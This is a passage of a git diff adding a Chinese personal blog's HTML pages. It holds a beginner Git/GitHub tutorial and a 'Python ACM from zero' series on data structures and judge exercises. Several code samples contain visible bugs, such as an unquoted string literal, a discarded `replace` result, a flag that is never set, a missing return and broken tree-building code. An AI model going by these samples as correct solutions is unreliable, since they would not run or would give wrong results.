我这里新建一个文件夹,在这里打开命令行,先用Git初始化这个文件夹,并在里面放入一个README.md文件

+

使用Git命令来推送我们的更改

+
1
2
3
4
5
$ git init    # 初始化文件夹(在文件夹内创建一个.git文件夹用于存储git信息)
$ git add . # 添加所有更改,当然你也可以添加特定的更改,把.换成文件路径即可
$ git commit -m "init" # 提交更改,并留下信息为"init"
$ git remote add origin git@github.com:GamerNoTitle/Tutorial.git # 添加仓库地址到名为origin的git目标
$ git push -u origin master # Git推送到仓库,仅第一次加入git远程目标时需要,后续直接git push
+ + + +

我这里使用的是SSH推送方式,你也可以使用HTTPS的方式,不过缺点就在于每次都要输入Github的账号信息。

+
添加SSH秘钥

那么如何使用SSH方式呢?我们先打开命令行,使用ssh-keygen来创建我们的SSH秘钥,如果要求你输入的话可以直接留空回车(高级用户请自便)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bili33/.ssh/id_rsa):
Created directory '/home/bili33/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/bili33/.ssh/id_rsa.
Your public key has been saved in /home/bili33/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:jdynahazKmHSKBGge2KnSDNlUFM7+AVADYeW4NY7CjY GamerNoTitle@ADMIN-PC
The key's randomart image is:
+---[RSA 2048]----+
|oo+*B+ |
|+ o++.o |
|.+.= o . |
|o.o o o. + |
|+E.* . S o . |
|BoX = o o |
|.+ o . +. |
| . +. |
| ..+. |
+----[SHA256]-----+
+ +

然后Windows会在C:\Users\:user\.ssh下创建两个文件,linux则会在/.ssh创建两个文件,两个系统创建的文件是一样的,都是id_rsaid_rsa.pub

+

Github SSH KEY页面

+

我们需要用记事本或者任意文本编辑器打开id_rsa.pub,将里面的内容复制,然后点开Github设置,点击左边的SSH and GPG Keys,点击右上角的NEW SSH KEY

+

Github添加KEY

+

将你的id_rsa.pub的内容粘贴到下面的大框框里面,上面填上一个便于你自己辨识的名字,然后保存

+

这样一来,你当前的设备就有对Github仓库的访问权限。除非你重新生成了SSH秘钥,否则无需对秘钥进行更改。

+

仓库初始化完成

看下面,我已经将我的README.md推送到Github仓库了

+

Github推送完成

+

仓库设置

Github仓库设置

+

我们点击上面的Settings,Github会把我们带到仓库的设置界面

+

在Options里面,有仓库的基本设定:仓库名、仓库封面图、仓库功能、Github Pages服务,还有Github所谓的危险区(对仓库的所有权或者状态进行管理的分区

+

左边则还有各种设置项,可以用Manage access来授予别人访问权限,当然也可以为仓库添加特定的SSH key等等

+

仓库发行

当我们编译完自己的程序,想要发布可执行程序的时候,就需要Release功能(当然不止于这种情况,也有想要薅一把Github的羊毛把Github当做图床加上Jsdelivr作为CDN的用法)

+

Github仓库导航栏

+

Github仓库无发行版

+

我们点击顶端的Release按钮,如果你之前没有Release的话界面应该是像上面这样的,我们就要点create a release来创建我们的发行

+

Github Release有发行版

+

如果你有发布过release,那你的界面应该是这样的,我们就要点右上角Draft a New Release来发布

+

Github新建Release

+

在这个界面,在左边最小的那个框里面填写版本号,版本号应该像是v1.0.0a1.0这样的,取得复杂了就很麻烦(当然只是自己用的话请随便),在长条框里面填写自己的标题,下面的大框框填写自己这个版本的详细内容,填写完后点击最下面的publish release即可。

+

等到我想到还有什么是要跟小白说的我会再发的,现在暂时想到这么多,当然你也可以留言

+
+ +
+

题外话

我还真的没想到有人玩Hexo不会用Github,然后就写了这一篇文章……

+

最近做了使用MCDR的服务器能够使用的两个插件SimpleOPMCDR-WikiSearcher,前者是根据佛冷的修改的,后者是因为TIS发布的那个用不了,然后就自己整了一个,也就整了3小时,其实不难

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Github-Basic/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Go-for-Python-Ch1/index.html b/posts/Go-for-Python-Ch1/index.html new file mode 100644 index 0000000000..d95ed236df --- /dev/null +++ b/posts/Go-for-Python-Ch1/index.html @@ -0,0 +1,436 @@ +从零开始的Python ACM Ch.1:数据类型及基本数据处理 | GamerNoTitle + + + + + + + + + + + + + + + +

从零开始的Python ACM Ch.1:数据类型及基本数据处理

基本数据类型

可迭代数据类型

通用操作:

+
    +
  • 遍历
  • +
  • max
  • +
  • min
  • +
  • sum
  • +
  • len
  • +
  • 成员测试 in、not in
  • +
+

序列数据类型

通用操作:

+
    +
  • 索引
  • +
  • 切片
  • +
  • index
  • +
  • count
  • +
  • 同类型加法拼接
  • +
  • 整数乘法重复
  • +
+

字符串

不可变数据类型(对字符串的所有修改操作,都是返回一个新的字符串)

+

特有操作:

+
    +
  • s.upper()
  • +
  • s.lower()
  • +
  • s.replace(sub1, sub2)
  • +
  • s.join(Iterable[str])
  • +
  • s.format()
  • +
  • s.split(c)
  • +
+

元组

不可变数据类型,基本是拿来用索引,或者切片

+

列表

可变数据类型

+

特有操作:

+
    +
  • 通过索引进行修改

    +
  • +
  • 通过切片进行修改

    +
  • +
  • ls.append(x)

    +
  • +
  • del ls[i] i为元素索引

    +
  • +
  • ls.remove(x) x为元素值

    +
  • +
  • ls.extend(lt2)

    +
  • +
  • ls.insert(i, x)

    +
  • +
  • ls.reverse()

    +
  • +
  • ls.clear()

    +
  • +
  • 列表表达式

    +
  • +
+

集合 & 字典

集合中的元素、字典的键 都必须为不可变数据类型,不能重复

+

如果直接对字典进行for循环的遍历,那么出来的是字典的键

+

集合的特有方法:

+
    +
  • s.pop() 弹出集合s中的一个元素
  • +
  • s.add(x) 将x添加到集合s中
  • +
  • s.remove(x) 删除集合s中的元素x,x不存在则出错
  • +
  • s.discard(x) 删除集合s中的元素x,x不存在不出错
  • +
  • s.update(t) 将集合t合并到集合s中
  • +
  • s.clear() 清空集合s
  • +
  • s-t 差集
  • +
  • s&t 交集
  • +
  • s|t 并集
  • +
  • s^t 并集减去交集
  • +
  • s.isdisjoint(t) 判断是否相交 比较操作 判断包含关系
  • +
+

字典的特有方法:

+
    +
  • 通过键进行索引

    +
  • +
  • d.keys() 所有键的迭代器

    +
  • +
  • d.values() 所有值的迭代器

    +
  • +
  • d.items() 所有键值对的迭代器

    +
  • +
  • d.get(key, default) 如果key存在,返回d[key],否则返回default

    +
  • +
  • d.pop(key, default) 返回 d.get(key, default) 并不出错的删除key

    +
  • +
  • d.popitem()

    +
  • +
  • d.update(d2)

    +
  • +
+

列表表达式

一般我们使用的列表长这样

+
1
ls = [123,456,789,0]
+ +

但是Python里面有个东西叫做列表表达式,例如

+
1
ls1 = [i for i in range(0,100)]
+ +

这会生成一个带有0-99的int数据类型的列表,非常简洁

+

列表的排序

一般来说,你自己在Python里面写的对列表进行排序的函数,都不如内置的list().sort(*, key=key, reverse=False)要快,谁让人家是C语言写的排序呢……

+

但是list().sort()有个坑,我前两天帮人数学建模的时候还是踩进了这个坑,就是:这个方法是直接作用于列表本身,没有返回值的,所以进行赋值的时候就会变成none

+

例题1

下面的列表a是人物的名字,b是他们对应的年龄,请输出18岁以下的人物并根据他们的年龄进行升序排列

+
1
2
a = ['tom', 'iron man','jerry', 'donald', 'micky', 'spider man']
b = [3, 32, 1, 8, 2, 19]
+ +

我的做法是用多一个列表,往里面用元组的形式填他们的名字以及年龄信息

+
1
2
3
4
5
6
7
ls = []

for i in a:
pos = a.index(i)
age = b[pos]
if age < 18:
ls.append((i,age))
+ +

ls进行打印,得出这样的一个列表

+
1
[('tom', 3), ('jerry', 1), ('donald', 8), ('micky', 2)]
+ +

再通过sort函数和lambda表达式进行排序,对所需要的东西进行打印

+
1
2
3
ls.sort(key=lambda x: x[1])
for i in ls:
print(i[0])
+ +

输出为

+
1
2
3
4
jerry
micky
tom
donald
+ +

但是经过教员的提醒,还有个zip()函数可以直接把两个列表中的对应位置的元素合在一起变成元组

+
1
items = list(zip(a,b))
+ +

这样做的结果跟上面的ls的结果是一样的

+

然后再在列表表达式里面筛选,两步可以合在一起

+
1
2
3
items = [item for item in list(zip(a,b)) if item[1] < 18]
for i in items:
print(i[0])
+ +

启示:少用字典,筛选放在后面去

+

例题2

2089. 找出数组排序后的目标下标 - 力扣(LeetCode)

+

我的题解:

+
1
2
3
4
5
6
7
8
class Solution:
def targetIndices(self, nums: List[int], target: int) -> List[int]:
nums.sort()
result = []
for i in range(0,len(nums)):
if nums[i] == target:
result.append(i)
return result
+ +

优化版(因为找到了以后,再往后就不存在要找的了,所以可以直接break掉)

+
1
2
3
4
5
6
7
8
9
10
11
class Solution:
def targetIndices(self, nums: List[int], target: int) -> List[int]:
nums.sort()
result = []
found = False
for i in range(0,len(nums)):
if nums[i] == target:
result.append(i)
if nums[i] != target and found:
break
return result
+ +

例题3

2215. 找出两数组的不同 - 力扣(LeetCode)

+

我的题解:

+
1
2
3
4
5
6
7
8
9
10
class Solution:
def findDifference(self, nums1: List[int], nums2: List[int]) -> List[List[int]]:
answer = [[],[]]
for i in nums1:
if i not in nums2 and i not in answer[0]:
answer[0].append(i)
for i in nums2:
if i not in nums1 and i not in answer[1]:
answer[1].append(i)
return answer
+ +

优化版(找不同的可以用集合去做):

+
1
2
3
4
5
6
7
8
class Solution:
def findDifference(self, nums1: List[int], nums2: List[int]) -> List[List[int]]:
s1 = set(nums1)
s2 = set(nums2)
answer = [[],[]]
answer[0] = list(s1-s2)
answer[1] = list(s2-s1)
return answer
+ +

例题4

599. 两个列表的最小索引总和 - 力扣(LeetCode)

+

我的题解:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Solution:
def findRestaurant(self, list1: List[str], list2: List[str]) -> List[str]:
lovedRest = []
for i in list1:
if i in list2:
indexSum = list1.index(i) + list2.index(i)
lovedRest.append((i,indexSum))
lovedRest.sort(key=lambda x: x[1])
result = []
result.append(lovedRest[0][0])
for i in range(1,len(lovedRest)):
if lovedRest[i][1] == lovedRest[0][1]: result.append(lovedRest[i][0])
else: break
return result
+ +

enumerate(list)在遍历的过程中出现index, value的返回值,可以在for循环使用,例如

+
1
2
3
...(上面已经定义了ls为列表)
for i, value in enumerate(ls):
pass
+ +

所以上面这一题也可以改一改,用这个方法可以免去用ls.index()的麻烦

+

例题5

2200. 找出数组中的所有 K 近邻下标 - 力扣(LeetCode)

+

我的题解(OT了):

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Solution:
def abs(num):
if num < 0:
return num*-1
else: return num
def findKDistantIndices(self, nums: List[int], key: int, k: int) -> List[int]:
keyPos = [i for i in range(0,len(nums)) if nums[i] == key]
result = []
for pos in keyPos:
for i in range(0,len(nums)):
if abs(i-pos)<=k and i not in result: result.append(i)
else: pass
result.sort()
return result
+ +

优化版:

+

思路是从i所在位置往左往右k个位置是否有key,如果有的话就进行计算,没有就跳过,省去了很多遍历

+
1
2
3
4
5
6
7
class Solution:
def findKDistantIndices(self, nums: List[int], key: int, k: int) -> List[int]:
result = []
for i in range(len(nums)):
if key in nums[max(0,i-k):i+k+1]:
result.append(i)
return result
+ +

列表的空间

列表在内存中是连续的,但是如果要用申请的空间之外的地方的话(即加长列表)就要再次申请,会减慢运行,所以可以先申请一大片空间

+
1
ls = [0]*1000
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/Go-for-Python-Ch1/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Go-for-Python-Ch2/index.html b/posts/Go-for-Python-Ch2/index.html new file mode 100644 index 0000000000..4a681aee5c --- /dev/null +++ b/posts/Go-for-Python-Ch2/index.html @@ -0,0 +1,330 @@ +从零开始的Python ACM Ch.2:时间复杂度、栈、面向对象及链表 | GamerNoTitle + + + + + + + + + + + + + + + + +

从零开始的Python ACM Ch.2:时间复杂度、栈、面向对象及链表

列表与字典的时间复杂度

列表的ls.append()复杂度是O(n),字典的插入dt['key'] = value的复杂度是O(1)。Python自带的字典排序ls.sort()复杂度是O(nlogn)(这个排序算法是用C语言写的,基本上自己在Python里面写的排序算法都没有它快

+

栈(Stack)

基本操作:

+
    +
  • 压栈 stack.append(element)
  • +
  • 出栈 del stack[-1]
  • +
  • 判断是否为空 len(stack) == 0
  • +
+

面向对象的Python编程

以栈对象为例

+
1
2
3
4
5
6
7
8
9
10
11
12
class Stack:
def __init__(self, x, y): # 构造类里面的函数,在每次实例化的同时会自动调用__init__函数
self.x = x
self.y = y
self.summary = x + y
s = Stack(3, 4) # 得到一个Stack类型的实例(实例化)
print(s.x, s.y, s.summary)

'''
=== Output ===
3 4 7
'''
+ +

更深一步,在对象里面定义对象的方法

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Stack:
def __init__(self, x, y): # 构造类里面的函数,在每次实例化的同时会自动调用__init__函数
self.x = x
self.y = y

def summary(self):
return self.x + self.y

def reset(self):
self.x = 0
self.b = 0


s = Stack(3, 4) # 得到一个Stack类型的实例(实例化)
print(s.summary())

'''
=== Output ===
7
'''
+ +

例题

创建一个类型Rect(矩形),能执行以下代码

+
1
2
3
4
5
6
7
8
r1 = Rect(10, 20)
print(r1.width) # 10
print(r1.height) # 20
print(r1.area()) # 200
print(r1.length()) # 60

r2 = Rect(5, 6)
print(r2.area())
+ +

我的题解:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Rect:
def __init__(self, width, height):
self.width = width
self.height = height

def area(self):
return self.width * self.height

def length(self):
return (self.width + self.height) * 2


r1 = Rect(10, 20)
print(r1.width) # 10
print(r1.height) # 20
print(r1.area()) # 200
print(r1.length()) # 60

r2 = Rect(5, 6)
print(r2.area())

'''
=== Output ===
10
20
200
60
30
'''
+ +

例题:使用列表模拟栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEnpty(self):
return len(self.data) == 0
+ +

对栈进行操作:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random

class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEmpty(self):
return len(self.data) == 0

if __name__ == '__main__':
stack = Stack()
for i in range(100):
stack.enquen(random.randint(0,100))
print(stack.data)
for i in range(10):
value = stack.dequen()
print(value, end=' ')
print('\n')
print(stack.data)

'''
=== Output ===
[3, 88, 78, 41, 28, 81, 33, 91, 86, 17, 57, 39, 17, 17, 98, 69, 65, 86, 83, 60, 67, 10, 95, 8, 66, 37, 10, 64, 41, 79, 39, 57, 32, 44, 62, 28, 32, 75, 41, 42, 87, 8, 7, 82, 85, 54, 2, 13, 96, 70, 1, 25, 47, 10, 75, 29, 92, 60, 29, 73, 24, 76, 5, 70, 62, 5, 85, 54, 25, 44, 37, 53, 11, 39, 25, 67, 37, 6, 99, 58, 97, 33, 26, 35, 50, 73, 48, 49, 16, 89, 2, 86, 28, 10, 89, 91, 1, 81, 9, 26]
26 9 81 1 91 89 10 28 86 2

[3, 88, 78, 41, 28, 81, 33, 91, 86, 17, 57, 39, 17, 17, 98, 69, 65, 86, 83, 60, 67, 10, 95, 8, 66, 37, 10, 64, 41, 79, 39, 57, 32, 44, 62, 28, 32, 75, 41, 42, 87, 8, 7, 82, 85, 54, 2, 13, 96, 70, 1, 25, 47, 10, 75, 29, 92, 60, 29, 73, 24, 76, 5, 70, 62, 5, 85, 54, 25, 44, 37, 53, 11, 39, 25, 67, 37, 6, 99, 58, 97, 33, 26, 35, 50, 73, 48, 49, 16, 89]
'''
+ +

例题:匹配括号

已知一串由小括号( )组成的字符串,试判断该字符串中的括号组合是否合法

+

我的题解(时间复杂度O(n^2),因为replace要先查找再替换,进行了两次遍历:

+
1
2
3
4
5
6
7
8
9
10
11
12
s = ()()()(((())))))()
result = -1

while True:
if "()" not in s:
result = False
break
if len(s) == 0:
result = True
break
s.replace('()','')
print(result)
+ +

优化版(利用栈的特性):

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEmpty(self):
return len(self.data) == 0


s = '()()()(((())))))()'

if __name__ == '__main__':
result=-1
stack=Stack()
for c in s:
if c == '(':
stack.enquen('(')
else:
if stack.isEmpty():
result=False
break
stack.dequen()
result=stack.isEmpty()
print(result)
+ +

例题:匹配括号(升级版)

在上一题的基础上,括号不只有小括号了,还有中括号[]和花括号{},同样判断括号对是否合法

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEmpty(self):
return len(self.data) == 0


s = '()(((())))))){{}}}}[[]]]]]])'

if __name__ == '__main__':
result = -1
stack = Stack()
for c in s:
if c in "([{":
stack.enquen(c)
else:
if stack.isEmpty():
result = False
break
value = stack.dequen()
if (c == ')' and value == '(') or (c == ']' and value == '[') or (c == '}' and value == '{'):
pass
else:
result = False
break
result = stack.isEmpty()
print(result)
+ +

all()/any()的用法

官方说明

+
1
2
3
4
5
6
7
8
9
10
11
12
13
all()

Return True if bool(x) is True for all values x in the iterable.

If the iterable is empty, return True.

=========================================================================

any()

Return True if bool(x) is True for any x in the iterable.

If the iterable is empty, return False.
+ +

应用举例

+
1
2
3
4
5
6
7
8
9
dt = {1: 0, 2: 0, 3: 1}
print(all(dt.values()))
print(any(dt.values()))

'''
=== Output ===
False
True
'''
+ +

因为字典里面不全是1,在Python里面,1代表True,不全为1所以为False,但是对于any函数,里面一旦出现了True就返回True,所以这里是True

+

链表

链表里面的基本单位是结点(node),单链表只存储值和下一节点的位置,双链表保存到一个上一节点的位置

+
1
2
3
4
5
6
7
8
9
10
class Node:		# 单链表
def __init__(self, value, next):
self.value = value
self.next = next

class Node: # 双链表
def __init__(self, value, prev, next):
self.value = value
self.next = next
self.prev = prev
+ +

用双链表模拟栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Node:		# 双链表
def __init__(self, value, prev = None, next = None):
self.value = value
self.prev = prev
self.next = next

class Stack:
def __init__(self):
self.tail = None

def enquen(self, value):
node = Node(value)
node.prev = self.tail
if self.tail:
self.tail.next = node
self.tail = node

def dequen(self):
self.tail = self.tail.prev
if self.tail:
self.tail.next = None

def isEmpty(self):
self.tail == None
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/Go-for-Python-Ch2/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Go-for-Python-Ch3/index.html b/posts/Go-for-Python-Ch3/index.html new file mode 100644 index 0000000000..7784a6ca11 --- /dev/null +++ b/posts/Go-for-Python-Ch3/index.html @@ -0,0 +1,312 @@ +从零开始的Python ACM Ch.3:队列、链表与二叉树 | GamerNoTitle + + + + + + + + + + + + + + +

从零开始的Python ACM Ch.3:队列、链表与二叉树

队列

队列,跟现实中一样,遵循先进先出的原则FIFO,从尾巴进去,从头部出来

+

用列表模拟队列

1
2
3
4
5
6
7
8
9
10
11
class Queue:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[0]
del self.data[0]
return value
+ +

删除会比较慢(不如链表构建的队列),因为每次del都是一个完整的O(n)操作

+

用链表模拟队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Node:
def __init__(self, value=None, next=None):
self.value = value
self.next = next

class Queue:
def __init__(self):
self.head = None

def enquen(self, value):
if not self.head: # 当头为空
self.head = Node(value) # 将头设置为新节点
return
tail: Node = self.head
while tail.next:
tail = tail.next
tail.next = Node(value)

def dequen(self):
value = self.head.value
self.head = self.head.next
return value

def size(self):
if not self.head:
return 0
count = 0
head = self.head
while head != None:
count += 1
head = head.next
return count
+ +

size还可以作为属性来写,更方便

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Node:
def __init__(self, value=None, next=None):
self.value = value
self.next = next

class Queue:
def __init__(self):
self.head = None
self.size = 0

def enquen(self, value):
if not self.head: # 当头为空
self.head = Node(value) # 将头设置为新节点
self.size += 1
return
tail: Node = self.head
while tail.next:
tail = tail.next
tail.next = Node(value)
self.size += 1

def dequen(self):
value = self.head.value
self.head = self.head.next
self.size -= 1
return value
+ +

例题:击鼓传花

一共有n个人玩击鼓传花小游戏,步数为p,问最后活下来的是谁

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def game(persons: list, step: int):
last = -1
while len(persons) > 1:
last += step
last = last % len(persons)
del persons[last]
return persons[0]


print(game(list('ABCD'), 3))

'''
=== Output ===
A
'''
+ +

链表与二叉树

+ +

如图,用链表模拟二叉树

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class Node:
def __init__(self, value, next=None):
self.value = value
self.childs = []

def depth(self):
if not self.childs: # 没有孩子节点
return 1
return 1 + max([node.depth() for node in self.childs])

def iter_depth(self): # 深度优先
items = []
items.append(self.value)
for child in self.childs:
items.extend(child.iter_depth())
return items

def iter_width(self): # 广度优先
items = [self.value]
for child in self.childs:
items.extend(child.iter_width())
return items


root = Node(1)

for i in range(2,5):
root.childs.append(Node(i))

node: Node = root.childs[1]
for i in range(5,8):
node.childs.append(i)

node = root.childs[2]
for i in range(8,10):
node.childs.append(i)

node = root.childs[1][2]
for i in range(10, 12):
node.childs.append(i)

node = node[1]
node.childs.append(12)
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/Go-for-Python-Ch3/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Go-for-Python-Ch4/index.html b/posts/Go-for-Python-Ch4/index.html new file mode 100644 index 0000000000..72f849c6c3 --- /dev/null +++ b/posts/Go-for-Python-Ch4/index.html @@ -0,0 +1,314 @@ +从零开始的Python ACM Ch.4:序列和字符串的算法 | GamerNoTitle + + + + + + + + + + + + + + +

从零开始的Python ACM Ch.4:序列和字符串的算法

UVa272 TeX中的引号

TEX Quotes - UVA 272 - Virtual Judge (vjudge.net)

+
    +
  • 在Tex中,左引号是``,右引号是’ ‘。
  • +
  • 给定一段包含双引号的段落,你的任务是把它转换成Tex的格式。
  • +
+

+

个人题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ArticleInput = '''
"To be or not to be," quoth the bard, "that
is the question".
The programming contestant replied: "I must disagree.
To `C' or not to `C', that is The Question!"
'''
flag = False

ArticleOutput = ''

start = 0

for place in range(len(ArticleInput)):
if ArticleInput[place] == '"' and not flag:
ArticleOutput += ArticleInput[start:place] + "``"
start = place + 1
flag = True
elif ArticleInput[place] == '"' and flag:
ArticleOutput += ArticleInput[start:place] + "''"
start = place + 1
flag = False

print(ArticleOutput)
+ +

输出:

+
1
2
3
4
``To be or not to be,'' quoth the bard, ``that
is the question''.
The programming contestant replied: ``I must disagree.
To `C' or not to `C', that is The Question!''
+ +

UVa10082 WERTYU

把手放在键盘上,稍不注意就会往右错一位。这样,输入Q会变成输入W,输入J会变成输入K等。键盘如图所示。 输入一个错位后敲出来的字符串(所有字母均大写),输出打字员本来想打出的矩阵输入保证合法,即一定是错位之后的字符串。例如输入中不会出现大写字母A。多行输入 每行包括数字,空格,大写字母(除了Q,A,Z)或者是标点符号(除了“’”(L右面第2个)),标有单词的按键,如Tab,BackSp,Control等等不会出现。你需要用每个字母或者符号左面的(在如图给出的QWERTY类型的键盘)那个按键内容替换他,输入的空格不作处理,依然输出空格。

+

+

个人题解(打表真累……)

UVa10082 - WERTYU 题解 - 1v7w - 博客园 (cnblogs.com)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
KeyboardInput = 'O S, GOMR YPFSU/'

KeyMap = {
'W': 'Q', 'E': 'W', 'R': 'E', 'T': 'R', 'Y': 'T', 'U': 'Y', 'I': 'U','O': 'I', 'P': 'O', '[': 'P', ']': '[', '\\': ']',
'S': 'A', 'D': 'S', 'F': 'D', 'G': 'F', 'H': 'G', 'J': 'H', 'K': 'J', 'L': 'K', ':': 'L', "'": ':',
'X': 'Z', 'C': 'X', 'V': 'C', 'B': 'V', 'N': 'B', 'M': 'N', ',': 'M', '.': ',', '/': '.',
'2': '1', '3': '2', '4': '3', '5': '4', '6': '5', '7': '6', '8': '7', '9': '8', '0': '9', '-': '0', '=': '-'
}

Output = ''

for key in KeyboardInput:
try:
Output += KeyMap[key]
except KeyError as e:
Output += ' '

print(Output)
+ +

输出:

+
1
I AM FINE TODAY.
+ +

属于是牺牲空间换时间了~

+

回文串和镜像串的判断

输入一个字符串,判断它是否为回文串以及镜像(左右翻转)串。输入字符串保证不含数字0。所谓回文串,就是反转以后与原串相同,如abba和madam。所谓镜像串,就是左右镜像之后和原串相同,如2S和3AIAE。注意,并不是每个字符在镜像之后都能得到一个合法字符。(空白项表示该字符镜像后不能得到一个合法字符。)

+

+

+

个人题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
InputStrings = '''NOTAPALINDROME
ISAPALINILAPASI
2A3MEAS
ATOYOTA'''

MirrorMap = {
'A': 'A',
'E': '3',
'H': 'H',
'I': 'I',
'J': 'L',
'L': 'J',
'M': 'M',
'O': 'O',
'S': '2',
'T': 'T',
'U': 'U',
'V': 'V',
'W': 'W',
'X': 'X',
'Y': 'Y',
'Z': '5',
'1': '1',
'2': 'S',
'3': 'E',
'5': 'Z',
'8': '8'
}

for string in InputStrings.split('\n'):
Reverse = True if string == string[::-1] else False
Mirror = False
MirrorString = ''
Valid = True
for char in string:
if Valid:
if MirrorMap.get(char, False):
MirrorString += MirrorMap[char]
else:
Valid = False
if Valid and MirrorString == string[::-1]:
Mirror = True
if Reverse and Mirror:
print(f'{string} -- is a mirrored palindrome.')
elif Reverse and not Mirror:
print(f'{string} -- is a regular palindrome.')
elif not Reverse and Mirror:
print(f'{string} -- is a mirrored string.')
else:
print(f'{string} -- is not a palindrome.')
+ +

输出:

+
1
2
3
4
NOTAPALINDROME -- is not a palindrome.
ISAPALINILAPASI -- is a regular palindrome.
2A3MEAS -- is a mirrored string.
ATOYOTA -- is a mirrored palindrome.
+ +

UVa340 猜数字游戏的提示

这是一个猜数游戏,第1行是答案序列的长度,也是询问的序列的长度(输入0结束),第2行是答案序列,接下来n行是询问序列,直到输入全0结束,每一个询问你都得给出回答,(x,y),x代表的是输入的序列中的数字与答案序列中的数字有几个是吻合的,y代表输入序列中的数字与答案序列中的数字有几个相同的,但是不在同一位置,也就是不吻合。现在请你编程实现这个功能。

+

+

个人题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
length = int(input('Length: '))
Origin = input('Origin Input (Split with space): ').split(' ')

def getOutput(Input):
NumCount = getNumMatch(Input)
PosCount = getPosMatch(Input)
return (PosCount, NumCount)

def getNumMatch(Input):
NumCount = 0
InputList = Input.split(' ')
CheckedList = []
for pos in range(len(InputList)):
if InputList[pos] in Origin and InputList[pos] == Origin[pos]:
CheckedList.append(InputList[pos])
if InputList[pos] in Origin and InputList[pos] != Origin[pos] and not InputList[pos] in CheckedList:
print(pos)
NumCount += 1
return NumCount

def getPosMatch(Input):
PosMatch = 0
InputList = Input.split(' ')
print(InputList, Origin)
for pos in range(length):
if InputList[pos] == Origin[pos]:
PosMatch += 1
return PosMatch


if __name__ == '__main__':
while True:
Input = input('Input: ')
if len(Input.split(' ')) == length and not any(Input.split(' ')): # any()一旦里面有一个不是0就会返回True
break
else:
Result = getOutput(Input)
print(Result)
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/Go-for-Python-Ch4/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Go-for-Python-Ch5/index.html b/posts/Go-for-Python-Ch5/index.html new file mode 100644 index 0000000000..31bc1ab83e --- /dev/null +++ b/posts/Go-for-Python-Ch5/index.html @@ -0,0 +1,310 @@ +从零开始的Python ACM Ch.5:练习系列 | GamerNoTitle + + + + + + + + + + + + + +

从零开始的Python ACM Ch.5:练习系列

求素数

    +
  • 问题描述
    求给定范围start、end之间的所有素数。

    +
  • +
  • 问题分析
    素数指的是只能被1和它自身整除的整数。判定一个整数m是否为素数的关键,就是要判定整数m能否能被除1和它自身以外的其他任何整数所整除,若都不能整除,则m为素数。本题求的是给定范围start、end之间的所有素数,考虑到程序的通用性,需要从键盘输入start和end的值,例如输入sta:1,end=1000,则所编写的程序应能够打印出1、1000之间的所有素数。

    +
  • +
